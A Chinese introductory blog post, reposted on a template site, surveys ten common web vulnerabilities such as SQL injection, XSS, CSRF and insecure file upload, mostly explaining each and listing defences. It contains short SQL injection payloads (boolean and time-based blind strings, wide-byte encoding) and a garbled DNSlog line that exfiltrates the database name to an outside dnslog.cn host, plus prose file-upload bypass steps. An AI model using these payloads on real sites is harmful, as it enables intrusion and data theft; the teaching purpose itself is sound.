信息安全入门——top10漏洞介绍

这篇具有很好参考价值的文章主要介绍了信息安全入门——top10漏洞介绍。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

随着网络的发展,现在各行各业也都建立起了自己的网络服务,这虽然使得广大的人民群众能更好的认识这家公司,但也会吸引各个攻击者的注意力。

而大多数的企事业单位都会建立属于自己的门户网站或为了便利在服务器上部署各种工具(如“OA”),但岂能料到,正是因为这些网站使得自己面临着巨大的网络安全威胁(如常见的信息泄露等)。

在信息安全中最为常见的就是web安全,今天就由我来为各位介绍web安全排行榜中位列前10的安全漏洞。


目录

1.sql注入

2.失效的身份认证和会话管理

3.跨站脚本攻击(xss)

4. 安全配置错误

5. 敏感信息泄露

6. 访问控制

7. 跨站请求伪造(CSRF)

8.使用已知漏洞的组件

9.未验证的重定向和转发

10. 文件上传漏洞(这是我实在想不起来了就随便加了个)


1.sql注入

1.1 介绍:

        sql注入是最为常见也是破坏力最大的漏洞,它是因为开发在开发时没有对用户的输入行为进行判断和过滤,使得用户输入了恶意语句后传给了后端数据库进行相应的动作(如增删改查)。

1.2 分类(这里为了节省篇幅使用的是执行效果分类):

1.2.1 盲注:

        盲注不是太适合刚上手就进行的操作,它花费的时间与精力要远大于其他类型的注入,并且被管理员发现的可能性很高;但是它适配绝大多数的注入点。

        盲注分为bool盲注、时间盲注、dnslog盲注。

1.2.1.1 布尔盲注(bool)

         这个是以所回显的内容的不同作为判断依据。

 语法:

id=1 and 1=1

id=2 and 1=2

id=1 and user()='root@localhost'

1.2.1.2 时间盲注

        这个是以所回显内容的时长来作为判断依据的

语法:

id=1 and sleep(2)

id=1 and if((substr((select user()),1,1)='r'),sleep(2),1)

1.2.1.3 dnslog盲注

        这个注入有个缺点,就是对方服务器必须是windows系统还得是root权限,secure_file_priv为空

语法:

id=2 and 1=(selectload_file(concat('\\\',hex(database()),'.rly7j0.dnslog.cn

1.2.2 报错注入:

        报错注入就是利用数据库的机制来人为的制造错误条件,使得查询结果能回显到报错信息中。

         报错注入有十种,但是我自己常用的只有三种,分别是:floor、updatexm、extractvalue。

1.2.2.1 floor报错注入

         这种报错注入就是利用数据库主键不能重复的原理,使用GROUP BY分组,产生主键冗余,从而导致报错。

联合查询;

堆叠注入;

1.2.5 宽字节注入:

宽子节注入的编码是相对于ascll码这样的单子节而言的,像GB2312、GBK这类就是常说的宽字节,实际上只有两个字节;

GBK是一种多字符的编码方式,一个通过GBK进行编码的汉字占两个字节;而通过utf-8编码的汉字则占3个字节;

而mysql为了应对这类注入就引入了转义函数的机制,如对特殊的字符加上反斜杠进行转义;mysql还有addslashes,mysql_real_escape_string等;

以php客户端为例,客户端输入数据后若php没有进行过编码修改则会通过默认的编码方式来生成sql语句传递给服务器,而php没有开启default_charse时,编码方式默认为空 ;

数据库收到所传递的信息后会对sql语句进行解码,然后再使用系统变量character_set_connection进行十六进制编码,当sql语句执行完后则会通过character_set_results进行编码输出

        宽字节注入指的是mysql数据库在使用宽字符(GBK)编码时会默认两个字符时一个汉字,而当客户端输入单引号时,mysql会调用转移函数,将单引号变为'\,其中\的十六进制是%5c,mysql的GBK编码会认为%df%5c是一个宽字节,也就是'運‘,从而使得单引号闭合,进行了注入攻击

数据大致变化过程:

%df%27==>(过滤函数)==>%df%5c%27==>(GBK)==>结果

二次注入;

注:因为小编自己前段时间有事加上电脑又为了做论文重置过所以现在电脑上的工具、环境及靶场是基本清零,所以这篇文章基本上就是大致的介绍文,至于实践过程需要过段时间小编把电脑配置好了再增加上去或者从新开篇做,请各位谅解,谢谢。

1.3 sql注入bypass

        记得去年的时候有个工具就是专门用来bypass的,当时还下来试了一下,结果现在忘了叫啥了,哈哈哈...

        现在的环境,sql注入bypass基本上就是老的能用的已经很少了,新的对环境的要求又有点高,好用的在别人手上,难用的都在自己手上...

bypass基本有以下几种:

字符串拼接:

'1'||'2'

'1'+'2'

'1'\|\|'2'

1' '2'

concat('1','2')

2.失效的身份认证和会话管理

2.1 介绍:

        开发人员在进行web程序开发的时候,有些开发人员因为某些原因就只能关注web应用程序的功能,从而忽视了一些安全问题,所以就会出现建立自定义的认证和会话方案。但是这些方案的实现上却往往有着漏洞的出现,如:推出、密码管理、超时、密码找回、账户更新等;

        这类漏洞大多属于逻辑漏洞,最长出现的地方就是登录界面哪里以及url哪里        

2.2 举列:

        用户A登录了某个web界面,而那个界面登录后的url为:

        http://www.xxxx.com/user/a;jsessionid=12345678?name=123d

        这时用户A在没有退出的情况下直接关闭了浏览器并且将该url发给了用户B,当用户B进入该url后就能直接行使用户A的权限,那么这里就时url中泄露了会话id并且因为该web程序支持url重写就导致了用户B能直接登录上用户A的账号并行使相应的权限。

2.3 修复方式:

(1)限制区域;

(2)使用密码有效期;

(3)禁用用户;

(4)不要存储用户密码;

(5)传输过程对数据进行加密传输;

(6)对身份验证cookie进行加密;

(7)限制会话时长;

(8)避免未授权;

3.跨站脚本攻击(xss)

3.1 介绍:

        xss攻击就是攻击者构建了一个恶意代码然后在漏洞存在的网站进行了传输,当其他用户访问该网站或者点击功能点时就会自动触发该恶意代码然后达到攻击目的。

3.2 分类:

3.2.1 反射性xss:

        这类攻击没有什么实际上的作用

3.2.2 存储性xss:

        这类攻击要比反射性xss的危害性高的多,往往可以配合其他攻击手法进行扩大

3.2.3 DOM型xss:

        这类攻击是不需要服务端的参与,往往是浏览器的dom解析来触发,纯纯的客户端的事

3.3 防御:

(1)使用跨站脚本过滤器(xss filter)来分析用户提交的数据中是否可能存在恶意代码或脚本;

(2)输入过滤:

        输入中是否有违法字符;

        输入字符是否超出最大长度限制;

        输入数字是否是规定范围内的;

        若输入框中规定了特殊格式要求则需要建立规则来防止进行其他的攻击;

(3)特殊字符进行转码或编码操作

(4)黑白名单

4. 安全配置错误

4.1 介绍:

        该漏洞通常是由于开发人员的疏忽导致了某些安全配置不当或者使用默认配置从而导致了漏洞的触发

4.2 防御:

(1)配置所有的安全机制

(2)使用简易化,将不使用的服务关闭

(3)更改账户默认信息

(4)回显信息不显示与实际错误无关的信息

5. 敏感信息泄露

5.1 介绍:

        该漏洞是因为管理人员或者技术人员因为某些原因导致了敏感信息泄露。这类漏洞常常会被黑产组织收集起来然后对公民个人信息进行侵害从而达到盈利的目的。

5.2 攻击方式(简单):

        使用工具进行挖掘,好比爬虫等可以扫描敏感文件、目录从而照到敏感数据;

手工挖掘,查看web容器或者网页源代码,从中分析出可能存在的敏感信息。(如目录等)

5.3 防御:

        加强员工的安全意识并且对用户的信息进行加密。

6. 访问控制

6.1 介绍:

        大多数web应用程序的功能在页面显示之前会验证用户能访问的权限级别。但要是请求没有被验证权限,那么攻击者就能伪造请求来达到未授权访问。

6.2 攻击手法(简易)

        非法用户以某种手段来对本应该是有权限的用户才能访问的页面进行访问(且能进行有权限的用户的操作)。

6.3 防御措施:

(1)对应用权限进行严格的筛查,对每个url和请求进行效验和权限认证;

(2)对每个功能点的访问都要明确的角色授权,采取过滤器的方式进行简易校验;

(3)实现web访问的ip黑白名单列表,禁止危险ip访问;

7. 跨站请求伪造(CSRF)

7.1 介绍:

        CSRF全名叫cross-site request forgery,它能使攻击者冒充你的身份并且以你的名义进行恶意请求发送,这对服务器来说该请求是合法的,但却达到了攻击者所需求的操作。

7.2 攻击手法(简易)

(1)网站A、用户B与网站C;

(2)当用户B访问网站A时,输入用户与密码后并发送请求进行登录;

(3)用户信息通过验证后,网站A将cookie信息返回给了浏览器,此时用户登录网站A成功,就能正常的发送请求给网站A了;

(4)当用户因为某些事需要访问网站C时,在退出网站A之前,在同一个浏览器中打开了一个新标签去访问网站C;

(5)当网站B接收到了用户请求后,会返回一些攻击性代码,并且发送一个请求要求访问第三方站点A;

(6)浏览器接收到这些攻击代码后,则会根据网站C的请求,在用户不知情的情况下携带cookie,向网站A发送请求。此时网站A并不知道该请求其实是由C发送的,所以会根据用户B的cookie以B的权限进行处理,从而导致网站C的恶意代码被执行。

7.3 分类:

get和post型。

7.4 防御手段:

(1)验证HTTP Referer字段。

(2)在请求地址中添加token并且验证。

(3)在重要功能中添加二次验证。

8.使用已知漏洞的组件

8.1 介绍:

        因为个别程序员对安全的忽视从而导致了它们所做出来的程序中的组件和库可能是曾经出过漏洞的版本,这样就会直接使最后做出来的程序产生对应的历史漏洞;

8.2 攻击手法(简易):

        直接使用网上已有的POC进行探测然后在使用EXP进行攻击即可

8.3 防御措施:

(1)及时更新所使用的组件和库的版本;

(2)及时关注所使用的组件和库的漏洞;

(3)建立完善的网络安全审核制度,对项目所使用的组件进行历史漏洞审核;

(4)尽量以最小化进行封装,对易受攻击的地方进行封禁;

9.未验证的重定向和转发

9.1 介绍:

(1)重定向简单的理解就是,当客服端第一次访问服务器时,服务器会返回一个状态码告诉浏览器去访问一个新的地址,而这个地址的url与第一次访问时是不一样的;

(2)转发就是当客户端将请求发给服务端后,服务器内部将这个请求转发给了另一个资源,然后将另一个资源的url所响应的内容再读取回来,最后通过原来所访问的url返回给客户端,而这一转发是在服务器内部进行的,所以客户端并不知道服务器所发送的内容到底是来自哪里(因为它的url还是原来的那个);

9.2 区别:

因为重定向是浏览器向服务器发送一个请求并响应后再次向一个新地址发出请求,所以是发送了两次请求,且两个地址并没有进行资源共享;

而转发则是浏览器向服务器发送一个请求并响应后再将该请求转发给另一个资源点,然后将第二个资源点所响应的内容读取到第一个资源点,最后原路返回给浏览器,所以这连个地址是进行了资源共享的;

9.3 防御措施:

(1)重定向外部网站需要验证是否在黑白名单内;

(2)对内部网站转发要进行权限验证,有权限的才能进行操作;

10. 文件上传漏洞(这是我实在想不起来了就随便加了个)

10.1 介绍:

        开发人员在进行开发时,没有对客户端所上传的文件进行严格的验证和过滤;

10.2 攻击手法(简易):

(1)JS前端检测绕过:

        使用浏览器的插件,对检测文件后缀的JS代码进行删除,然后就能进行绕过了;

(2)文件后缀绕过:

        使用抓包软件,将请求包中的文件后缀修改了;

(3)文件类型绕过:

        使用抓包软件,将请求包中的Content-Type值修改一下就ok了;

(4)文件截断绕过:

        这玩意儿有点鸡肋,它必须在PHP<5.3.4且magic_quotes_gpc为off状态时才能进行;

        就是将请求包中的get参数截断的内容作为上传文件名的第一部分,然后将按时间生成的文件名作为第二部分;

(5)条件竞争:

        这个就类似于打时间差的战术,它利用了文件上传检测机制检查后判定是否上传成功和删除文件之间的那一小段时间中完成攻击;

10.3 防御措施:

(1)使用黑白名单进行过滤;

(2)对上传成功的文件进行重命名;

(3)在服务器端加装WAF;


好了,这篇就写到这里吧,我个人也是因为某些事耽误了很久所以导致现在无论技术还是文笔上越来越差,要是发现哪里不对或者不连通请各位见谅。文章来源地址https://www.toymoban.com/news/detail-413833.html

到了这里,关于信息安全入门——top10漏洞介绍的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 信息安全-网络安全漏洞防护技术原理与应用

    网络安全漏洞: 又称为脆弱性,简称漏洞。 漏洞 一般是 致使网络信息系统安全策略相冲突的缺陷 ,这种缺陷通常称为 安全隐患 安全漏洞的影响: 主要有机密性受损、完整性破坏、可用性降低、抗抵赖性缺失、可控制性下降、真实性不保等 根据已经公开的漏洞信息,网络

    2024年02月11日
    浏览(53)
  • 网络&信息安全:11个常见漏洞类型汇总

    SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。 在设计程序,忽略了对输入字符串中夹带的SQL指令的检查,被数据库误认为是正常的SQL指令而运行,从而使数据库受到攻击,可能导致数据被

    2024年03月12日
    浏览(51)
  • OWASP TOP 10漏洞分析

    1.注入 - Injection 2.跨站脚本 - (XSS) 3.失效的验证和和会话管理 4.不安全的直接对象访问 5.跨站请求伪造 - (CSRF) 6.不正确的安全设置 7.不安全的加密存储 8.URL访问限制缺失 9.没有足够的传输层防护 10.未验证的重定向和跳转 一、注入-Injection 1、虽然还有其他类型的注入攻击

    2024年02月09日
    浏览(102)
  • Owasp Top10 漏洞解析 之注入

    一、注入漏洞是什么? 注入漏洞,即将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入NoSQL注入、OS 注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命今或访问数据。 几乎任何数据源都能成为注

    2024年02月04日
    浏览(41)
  • 网络&信息安全:nginx漏洞收集(升级至最新版本)

    💖The Begin💖点点关注,收藏不迷路💖 漏洞名称: nginx 越界写入漏洞(CVE-2022-41742) 风险等级: 高 高可利用: 否 CVE编号: CVE-2022-41742 端口(服务): 8000(nginx) 风险描述: NGINX 在 ngx_http_mp4_module 中存在漏洞,这可能允许攻击者激发 worker 进程的崩溃,或者通过使用特制的 mp4 文

    2024年04月11日
    浏览(50)
  • 2023_OWASP TOP10_漏洞详情

    OWASP TOP 10 漏洞讲解 1 、 s q l 注入 1、sql注入 1 、 s ql 注入 原理: SQL 注入就是指 web 应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的 sql 语句来实现对数据库的任意操作。 ​

    2024年02月06日
    浏览(63)
  • 信息安全技术 网络安全漏洞分类分级指南(GB/T 30279-2020 )

    前  言 本标准按照GB/T 1.1—2009《标准化工作导则 第1部分:标准的结构和编写》给出的规则起草。 本标准代替GB/T 33561—2017《 信息安全技术 安全漏洞分类 》、GB/T 30279—2013《 信息安全技术 安全漏洞等级划分指南 》。 与GB/T 33561—2017、GB/T 30279—2013相比,除编辑性修改外的

    2024年02月13日
    浏览(44)
  • 渗透专题丨web Top10 漏洞简述(2)

    1、漏洞简述 程序在引用文件的时,引用的文件名,用户可控的情况,传入的文件名校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入。这是因为程序开发时候会把重复使用的函数写到归档在一起,用到哪个函数就可以直接进行调用,而为了代

    2024年02月09日
    浏览(32)
  • 【网络安全】「漏洞原理」(一)SQL 注入漏洞之概念介绍

    严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。 SQL 注入(SQL Injection) 是一种常见的网络攻击技术,它利用应用程序

    2024年02月06日
    浏览(50)
  • 信息服务上线渗透检测网络安全检查报告和解决方案4(网站风险等级评定标准、漏洞危害分级标准、漏洞安全建议)

    信息服务上线渗透检测网络安全检查报告和解决方案3(系统漏洞扫描、相对路径覆盖RPO漏洞、nginx漏洞修复) 信息服务上线渗透检测网络安全检查报告和解决方案2(安装文件信息泄漏、管理路径泄漏、XSS漏洞、弱口令、逻辑漏洞、终极上传漏洞升级) 信息服务上线渗透检测网络安

    2024年02月12日
    浏览(48)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包